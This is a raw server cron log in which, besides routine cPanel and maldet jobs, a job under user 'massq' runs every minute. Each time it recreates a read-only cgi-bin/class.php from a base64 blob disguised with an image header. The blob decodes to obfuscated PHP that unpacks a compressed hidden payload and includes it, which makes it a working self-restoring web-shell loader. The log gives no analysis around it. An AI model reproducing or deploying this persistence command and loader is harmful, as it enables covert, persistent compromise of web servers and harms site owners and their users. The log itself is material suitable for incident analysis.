Nov 11 16:48:01 server CROND[1070]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:49:01 server CROND[1536]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:50:01 server CROND[2368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 16:50:01 server CROND[2371]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 16:50:01 server CROND[2370]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 16:50:01 server CROND[2373]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:50:01 server CROND[2372]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 16:51:01 server CROND[3282]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:52:01 server CROND[4203]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:53:01 server CROND[4908]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:54:01 server CROND[5735]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:55:01 server CROND[6548]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 16:55:01 server CROND[6549]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:55:01 server CROND[6550]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 16:56:01 server CROND[7428]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:57:01 server CROND[8383]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:57:02 server CROND[8384]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 16:58:01 server CROND[9372]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:59:01 server CROND[10200]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:00:01 server CROND[11060]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 17:00:01 server CROND[11061]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 17:00:01 server CROND[11062]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:00:01 server CROND[11065]: (root) CMD (/usr/lib64/sa/sa1 1 1)
